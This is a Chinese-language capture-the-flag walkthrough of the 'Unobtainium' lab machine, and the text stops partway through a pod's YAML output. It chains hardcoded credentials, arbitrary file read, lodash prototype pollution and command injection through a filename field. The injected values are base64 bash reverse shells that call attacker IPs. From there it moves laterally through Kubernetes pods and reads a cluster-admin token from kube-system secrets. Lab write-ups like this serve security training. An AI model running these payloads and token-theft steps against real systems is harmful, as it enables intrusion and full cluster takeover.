Unobtainium

CH0ico2026-07-112026-07-11

ip a

10.129.136.226

TARGET="10.129.136.226"

Unobtainium

01.信息搜集

靶机发现

目标靶机 IP 为 10.129.136.226，首先使用 fscan 进行全端口扫描：

fscan -h $TARGET > fscan.log

22,80,8443,10250

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

fscan 发现 4 个开放端口：22 (SSH)、80 (HTTP)、8443 (HTTPS/K8s API)、10250 (Kubelet)。其中 8443 和 10250 端口提示目标可能运行 Kubernetes 集群。

02.渗透打点

端口扫描

使用 Nmap 对发现端口进行详细服务版本探测：

sudo nmap -sT -sV -sC -O -p 22,80,8443,10250 $TARGET -oA nmapscan/detail

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Unobtainium
|_http-server-header: Apache/2.4.41 (Ubuntu)
8443/tcp  open  ssl/http Golang net/http server
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 5b636fef-a8a9-40e6-8f2b-168c9d181588
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sat, 11 Jul 2026 06:11:09 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 7ee8793c-aaa8-47a0-a04b-f6a0ce0c6f57
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sat, 11 Jul 2026 06:11:04 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 128e2c02-9abd-4a5a-a0c4-5ba05095782d
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sat, 11 Jul 2026 06:11:07 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2027-07-11T06:05:04
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
10250/tcp open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2027-07-11T06:05:05
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service

sudo nmap -Pn -sV -A -p 80 -T4 $TARGET


PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Unobtainium
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   555.30 ms 10.10.16.1
2   556.70 ms 10.129.136.226

关键发现：

8443 端口：K3s API Server（SSL 证书 CN=k3s），返回 Kubernetes API 标准 JSON 响应（401 Unauthorized）。需要 ServiceAccount Token 或有效凭据才能访问。
10250 端口：Kubelet API 端点，可用于直接与节点上的 Pod 交互（需 nodes/proxy 权限）。
80 端口：Apache httpd，标题为 “Unobtainium”，是主要 Web 入口。

UDP 扫描

1	sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp

UDP 层面未发现明显可利用的服务。

03.渗透测试

信息枚举与源码审计

应用发现与初步探测

访问 http://10.129.136.226/downloads/，发现一个校验文件（checksum.txt）和三个不同格式的 Linux 软件包：

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c9fe8a2bbc66290405803c3d4a37cf28  unobtainium_1.0.0_amd64.deb
d61b48f165dab41af14c49232975f6a1  unobtainium_1.0.0_amd64.snap
9e35724c18f9f98192f0412c89ba54c7  unobtainium-1.0.0.x86_64.rpm

三种包格式的区别：

.deb（Debian/Ubuntu）与 .rpm（RHEL/CentOS）—— 不同 Linux 发行版的原生包格式，功能内容一致，仅打包规范不同。
.snap（Canonical Snap）—— 通用容器化包格式，自带所有依赖、沙箱运行、权限受限、支持自动更新，体积通常比 deb/rpm 大。

下载并安装 .deb 包进行分析：

1	wget http://10.129.136.226/downloads/unobtainium_debian.zip

注意：该二进制为 x86 架构，需在对应架构环境下运行。

安装后执行应用：

1	/opt/unobtainium/unobtainium

启动后弹出错误提示 “Unable to reach unobtainium.htb”，说明应用需要解析 unobtainium.htb 域名。添加本地 hosts 记录：

1	echo "10.129.136.226 unobtainium.htb" \| sudo tee -a /etc/hosts

重新运行应用，界面包含 “Message Log” 和 “Todo” 功能，显示 JSON 格式数据。应用的行为在一定程度上反映了服务器端的实际状态。

Electron 应用逆向

该应用为 Electron 框架构建，资源文件通常打包为 app.asar，位于 /opt/unobtainium/resources/。使用 asar 工具解包：

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sudo npm install -g asar
cd /opt/unobtainium/resources/
asar extract app.asar output/

查看 output/package.json 确认入口文件为 index.js。继续查看 src/js/todo.js，发现核心 API 请求逻辑，包含硬编码凭据：

$.ajax({
    url: 'http://unobtainium.htb:31337/todo',
    type: 'post',
    data: JSON.stringify({
        "auth": {"name": "felamos", "password": "Winter2021"},
        "filename": "todo.txt"
    }),
    ...
})

客户端源码中硬编码了 API 凭据 felamos / Winter2021，且 /todo 端点接受 filename 参数，疑似存在任意文件读取漏洞。

任意文件读取验证

使用 curl 直接调用 API 接口读取 todo.txt：

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curl -X POST http://unobtainium.htb:31337/todo \
-H 'Content-Type: application/json' \
-d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'

返回内容：

1. Create administrator zone.
2. Update node JS API Server.
3. Add Login functionality.
4. Complete Get Messages feature.
5. Complete ToDo feature.
6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n
7. Improve security

确认任意文件读取可用。继续读取服务器主源码文件 index.js：

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curl -X POST http://unobtainium.htb:31337/todo \
-H 'Content-Type: application/json' \
-d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}'

API 源码分析

获取到完整的 index.js 源码后，识别出以下关键信息：

用户体系：

const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

felamos 为普通用户，无特殊权限。
admin 拥有 canDelete 和 canUpload 权限，但密码为随机生成（Math.random().toString(32)），无法直接登录。

API 路由：

路由	方法	功能	所需权限
`/`	GET	获取 messages 列表	无
`/`	PUT	创建 message（`_.merge` 合并）	Auth
`/`	DELETE	删除 message	Auth + canDelete
`/upload`	POST	上传文件（调用 gsutil）	Auth + canUpload
`/todo`	POST	读取文件（`fs.readFileSync`）	Auth

完整源码如下：

var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
  return users.find((u) =>
    u.name === auth.name &&
    u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
  res.send(messages);
});

app.put('/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
    icon: '__',
  };

  _.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});

app.delete('/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user || !user.canDelete) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  messages = messages.filter((m) => m.id !== req.body.messageId);
  res.send({ok: true});
});
app.post('/upload', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }


  filename = req.body.filename;
  root.upload("./",filename, true);
  res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
        const user = findUser(req.body.auth || {});
        if (!user) {
                res.status(403).send({ok: false, error: 'Access denied'});
                return;
        }

        filename = req.body.filename;
        testFolder = "/usr/src/app";
        fs.readdirSync(testFolder).forEach(file => {
                if (file.indexOf(filename) > -1) {
                        var buffer = fs.readFileSync(filename).toString();
                        res.send({ok: true, content: buffer});
                }
        });
});

app.listen(3000);
console.log('Listening on port 3000...');

原型链污染 (Lodash _.merge)

源码审计发现两个关键攻击面：

1. 原型链污染 — _.merge

PUT / 路由中，_.merge(message, req.body.message, {...}) 将用户可控的 req.body.message 合并到 message 对象。Lodash 的 _.merge 在特定版本中存在原型链污染漏洞：当合并对象中包含 constructor.prototype（或 __proto__）路径时，可向 Object.prototype 注入任意属性。

admin 用户拥有 canDelete: true 和 canUpload: true，但密码未知。通过原型链污染将这两个属性注入全局 Object 原型，即可使 felamos 用户”继承” admin 权限：

_.merge(message, req.body.message, {
  id: lastId++,
  timestamp: Date.now(),
  userName: user.name,
});

# message 初始为 {icon: '__'}，通过 _.merge 合并用户可控的 req.body.message。Lodash 的 merge 存在原型链污染漏洞，可注入 __proto__ 属性

{
  "auth": {"name": "felamos", "password": "Winter2021"},
  "message": {
    "__proto__": {
      "canDelete": true,
      "canUpload": true
    }
  }
}

至此，felamos 获得了与 admin 等价的权限，可调用 /upload 和 /delete 路由。

2. 命令注入 — /upload 路由

/upload 调用了第三方库 google-cloudstorage-commands（root.upload("./", filename, true)），该库内部通过 child_process.exec 执行 gsutil 命令：

function upload(inputDirectory, bucket, force = false) {
    return new Promise((yes, no) => {
        let _path = path.resolve(inputDirectory)
        let _rn = force ? '-r' : '-Rn'
        let _cmd = exec(`gsutil -m cp ${_rn} -a public-read ${_path} ${bucket}`)
        _cmd.on('exit', (code) => {
            yes()
        })
    })
}

filename 参数直接拼接到 shell 命令中，无任何过滤，导致命令注入。

注意：该应用使用的 Lodash 版本可能较旧（< 4.17.12），部分版本中 __proto__ 被过滤，应改用 constructor.prototype 路径实现原型污染。

命令注入与初始立足点

结合原型链污染与命令注入，构建完整攻击链。首先通过 constructor.prototype 路径污染原型获取 admin 权限：

curl -X PUT http://unobtainium.htb:31337/ \
-H 'Content-Type: application/json' \
-d '{
  "auth": {"name": "felamos", "password": "Winter2021"},
  "message": {
    "text": "test",
    "constructor": {
      "prototype": {
        "canUpload": true,
        "canDelete": true
      }
    }
  }
}'

# 在攻击机监听
nc -lv 9001

# 执行 payload（注意替换你的 IP 和端口）
echo 'bash -i >& /dev/tcp/10.10.17.11/9001 0>&1' | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK

curl -X POST http://unobtainium.htb:31337/upload \
-H 'Content-Type: application/json' \
-d '{
  "auth": {"name": "felamos", "password": "Winter2021"},
  "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK | base64 -d | bash"
}'

{"ok":true,"Uploaded_File":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAxIDA+JjEK | base64 -d | bash"}%

成功获得反向 Shell。当前以 root 身份运行在容器内，user.txt 即位于当前目录，说明 /root 目录通过 hostPath 挂载自宿主机。升级 Shell：

1	python -c "import pty;pty.spawn('/bin/bash')"

Kubernetes 环境探测

环境中存在 Kubernetes ServiceAccount 凭证挂载路径 /var/run/secrets/kubernetes.io/serviceaccount/，确认当前处于 K8s Pod 内部：

var/run/secrets/kubernetes.io/kubernetes.io/serviceaccount
ca.crt
namespace
token

检查环境变量获取 API Server 地址：

env | grep KUBERNETES
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443

背景知识：Kubernetes 默认将 ServiceAccount 凭证（Token + CA 证书 + Namespace）挂载到 /var/run/secrets/kubernetes.io/serviceaccount，容器内进程可通过这些凭据与 API Server 通信。

尝试直接调用 Kubelet API（10250 端口）列出所有 Pod：

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP="10.129.136.226"
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

#
curl -s https://${NODE_IP}/api/v1/namespaces/$NS/pods/webapp-deployment-9546bc7cb-b7k2g --cacert $CA -H "Authorization: Bearer $TOKEN"

# 尝试通过 Kubelet API 列出所有 Pod（绕过 API Server）
curl -sk "https://${NODE_IP}:10250/pods" -H "Authorization: Bearer $TOKEN"
Forbidden (user=system:serviceaccount:default:default, verb=get, resource=nodes, subresource=proxy)

Kubelet 的 10250 端口提供与 API Server 等价的 Pod 管理接口，但需要 nodes/proxy 权限，当前 ServiceAccount 权限不足。

将凭证文件拷贝到本地，便于后续使用 kubectl 进行更系统的集群枚举：

cat token | base64
echo ".." | base64 -d > token

cat ca.crt | base64
echo ".." | base64 -d > ca.crt

集群枚举 (webapp Pod)

使用当前 Pod 的 ServiceAccount Token 通过 kubectl 查询自身权限：

kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
                                                [/api/*]                              []               [get]
                                                [/apis/*]                             []               [get]
                                                [/openapi/*]                          []               [get]

当前权限分析：

权限	说明
`selfsubjectaccessreviews` / `selfsubjectrulesreviews` create	仅能查询自身权限（`auth can-i` 底层实现）
`namespaces` get/list	可列出所有 Namespace
`/api/`、`/apis/` 等 get	只读访问 API 发现端点
不包含 pods、services、secrets、configmaps 等	无法读取集群内部资源

首先枚举所有 Namespace：

kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get namespaces

NAME              STATUS   AGE
default           Active   3y316d
kube-system       Active   3y316d
kube-public       Active   3y316d
kube-node-lease   Active   3y316d
dev               Active   3y316d

重点关注 dev 和 kube-system 命名空间。检查在 dev 命名空间中的权限：

kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list -n dev

namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]

在 dev 命名空间中拥有 get/list pods 权限。列出 dev namespace 中所有 Pod：

kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get pods -n dev -o wide

NAME                                  READY   STATUS    RESTARTS         AGE      IP           NODE          NOMINATED NODE   READINESS GATES
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running   6 (2y257d ago)   3y316d   10.42.0.69   unobtainium   <none>           <none>
devnode-deployment-776dbcf7d6-g4659   1/1     Running   6 (2y257d ago)   3y316d   10.42.0.68   unobtainium   <none>           <none>
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running   6 (2y257d ago)   3y316d   10.42.0.70   unobtainium   <none>           <none>

Dev 命名空间下有 3 个运行中的 Pod。验证当前 Pod 与目标 Pod 之间的网络连通性：

1 2	PING 10.42.0.69 (10.42.0.69) 56(84) bytes of data. 64 bytes from 10.42.0.69: icmp_seq=1 ttl=64 time=0.263 ms

尝试通过 31337 端口（原应用的 NodeJS API 端口）访问 dev Pod：

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curl -X POST http://10.42.0.69:31337/todo \
-H 'Content-Type: application/json' \
-d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'

不可达。查看 Pod 详细配置：

kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 describe pod devnode-deployment-776dbcf7d6-7gjgf -n dev

Name:             devnode-deployment-776dbcf7d6-7gjgf
Namespace:        dev
Priority:         0
Service Account:  default
Node:             unobtainium/10.129.136.226
Start Time:       Mon, 29 Aug 2022 17:32:21 +0800
Labels:           app=devnode
                  pod-template-hash=776dbcf7d6
Annotations:      <none>
Status:           Running
IP:               10.42.0.69
IPs:
  IP:           10.42.0.69
Controlled By:  ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
  devnode:
    Container ID:   docker://6c22469b2fa7cf679b07b7a658ca4469ef167dafdd22e8241c14a34598ea01f6
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Sat, 11 Jul 2026 14:05:38 +0800
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Fri, 27 Oct 2023 23:17:50 +0800
      Finished:     Fri, 27 Oct 2023 23:24:53 +0800
    Ready:          True
    Restart Count:  6
    Environment:    <none>
    Mounts:
      /root/ from user-flag (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-snd89 (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  user-flag:
    Type:          HostPath (bare host directory volume)
    Path:          /opt/user/
    HostPathType:
  kube-api-access-snd89:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    Optional:                false
    DownwardAPI:             true
QoS Class:                   BestEffort
Node-Selectors:              <none>
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:                      <none>

关键发现：容器暴露端口为 3000/TCP（默认端口），而非 31337。31337 是原 webapp Pod 中 NodePort Service 对外暴露的端口。改用 3000 端口重试：

1
2
3

curl -X POST http://10.42.0.69:3000/todo \
-H 'Content-Type: application/json' \
-d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}'

成功！Dev Pod 上运行了相同的 NodeJS 应用，凭据复用有效。

横向移动 (dev 命名空间)

对 dev 命名空间下的 Pod 重复原型链污染 + 命令注入攻击，获取多个 Shell。首先上传 nc 到 webapp Pod（便于后续操作）：

1	curl http://10.10.17.11:8080/nc -o /tmp/nc

生成多个反向 Shell payload（分别监听 9002、9003、9004）：

# webapp2
echo 'bash -i >& /dev/tcp/10.10.17.11/9002 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAyIDA+JjEK (9002)
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAzIDA+JjEK (9003)
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDA0IDA+JjEK (9004)


curl -X POST http://unobtainium.htb:31337/upload \
-H 'Content-Type: application/json' \
-d '{
  "auth": {"name": "felamos", "password": "Winter2021"},
  "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMS85MDAyIDA+JjEK | base64 -d | bash"
}'

验证 dev Pod 凭据复用（同一套 felamos/Winter2021 可认证），执行原型链污染获取上传权限：

curl -X PUT http://10.42.0.69:3000/ \
-H 'Content-Type: application/json' \
-d '{
  "auth": {"name": "felamos", "password": "Winter2021"},
  "message": {
    "text": "test",
    "constructor": {
      "prototype": {
        "canUpload": true,
        "canDelete": true
      }
    }
  }
}'

向 dev Pod 注入反向 Shell：

# dev1
nc -lvnp 8001

echo 'bash -i >& /dev/tcp/10.42.0.71/8001 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDEgMD4mMQo=

curl -X POST http://10.42.0.69:3000/upload \
-H 'Content-Type: application/json' \
-d '{
  "auth": {"name": "felamos", "password": "Winter2021"},
  "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDEgMD4mMQo= | base64 -d | bash"
}'


# dev2
echo 'bash -i >& /dev/tcp/10.42.0.71/8003 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDIgMD4mMQo=

curl -X POST http://10.42.0.69:3000/upload \
-H 'Content-Type: application/json' \
-d '{
  "auth": {"name": "felamos", "password": "Winter2021"},
  "filename": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40Mi4wLjcxLzgwMDMgMD4mMQo= | base64 -d | bash"
}'

进入 dev Pod 后提取其 ServiceAccount Token（dev namespace 的 default ServiceAccount 可能拥有不同于 webapp namespace 的权限）：

cd /var/run/secrets/kubernetes.io/serviceaccount/
cat token | base64
echo ".." | base64 -d > token

cat ca.crt | base64
echo ".." | base64 -d > ca.crt

集群提权 (cluster-admin)

Dev Pod 中未发现 flag 文件，下一步目标是 kube-system 命名空间。使用 dev Pod 的 Token 向 API Server（10.129.136.226:8443）查询在 kube-system 中的权限：

# 读取对system的权限
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list -n kube-system
secrets                                         []                                    []               [get list]

# 列出 kube-system 中的所有 Secret
kubectl --token="$(cat token)" --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get secrets -n kube-system
NAME                                                 TYPE                                  DATA   AGE
unobtainium.node-password.k3s                        Opaque                                1      3y316d
...
default-token-h5tf2                                  kubernetes.io/service-account-token   3      3y316d
c-admin-token-b47f7                                  kubernetes.io/service-account-token   3      3y316d
k3s-serving                                          kubernetes.io/tls                     2      117m

Dev 的 ServiceAccount 在 kube-system 中拥有 get/list secrets 权限。发现两个关键 Secret：

c-admin-token-b47f7：cluster-admin 的 ServiceAccount Token，获取后即拥有集群完全控制权（*.* [*]）。
unobtainium.node-password.k3s：K3s 节点密码，可能用于节点级别的操作。

读取 cluster-admin Token：

TOKEN=token
CA=ca.crt
SERVER=https://10.129.136.226:8443

# 读 c-admin-token（cluster-admin）
kubectl --token="$TOKEN" --certificate-authority=$CA --server=$SERVER get secret c-admin-token-b47f7 -n kube-system -o json
{
    "apiVersion": "v1",
    "data": {
        "ca.crt": "LS0t..LS0K",
        "namespace": "a3ViZS1zeXN0ZW0=",
        "token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ=="
    },
    "kind": "Secret",
    "metadata": {
        "annotations": {
            "kubernetes.io/service-account.name": "c-admin",
            "kubernetes.io/service-account.uid": "31778d17-908d-4ec3-9058-1e523180b14c"
        },
        "creationTimestamp": "2022-08-29T09:32:33Z",
        "name": "c-admin-token-b47f7",
        "namespace": "kube-system",
        "resourceVersion": "707",
        "uid": "7778ef55-db34-406d-b256-1704ec78236e"
    },
    "type": "kubernetes.io/service-account-token"
}

# base64 -d > passtoken


# 用 cluster-admin token 获取完全权限 (直接passtoken也行)
ADMIN_TOKEN=$(kubectl --token="$TOKEN" --certificate-authority=$CA --server=$SERVER get secret c-admin-token-b47f7 -n kube-system -o jsonpath='{.data.token}' | base64 -d)

# 验证权限
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
*.*                                             []                                    []               [*]
                                                [*]                                   []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]

*.* [*] 和 [*] [*] —— 已获得 Kubernetes 集群的完全控制权限。

使用 cluster-admin 权限进行全局探测：

# 1. 列出所有 namespace
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get ns

# 2. 列出所有 secret（找 flag）
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get secrets --all-namespaces

# 3. 列出所有 pod（看有没有 flag 容器）
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get pods --all-namespaces -o wide
kube-system   backup-pod  0/1     CrashLoopBackOff   60 (4m41s ago)   3y316d   10.42.0.64   unobtainium

# 4. 看看back
kubectl --token="$ADMIN_TOKEN" --certificate-authority=$CA --server=$SERVER get pod backup-pod -n kube-system -o yaml
apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: "2022-08-29T09:32:41Z"
  name: backup-pod
  namespace: kube-system
  resourceVersion: "5085"
  uid: a7929b0e-58d5-428d-ae72-ee5330903ab8
spec:
  containers:
  - image: localhost:5000/dev-alpine
    imagePullPolicy: IfNotPresent
    name: alpine
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-p2qlg
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  nodeName: unobtainium
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: default
  serviceAccountName: default
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-p2qlg
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
status:
    message: 'containers with unready status: [alpine]'
    reason: ContainersNotReady
    status: "False"
    type: ContainersReady
  - lastProbeTime: null
    lastTransitionTime: "2022-08-29T09:32:41Z"
    status: "True"
    type: PodScheduled
  containerStatuses:
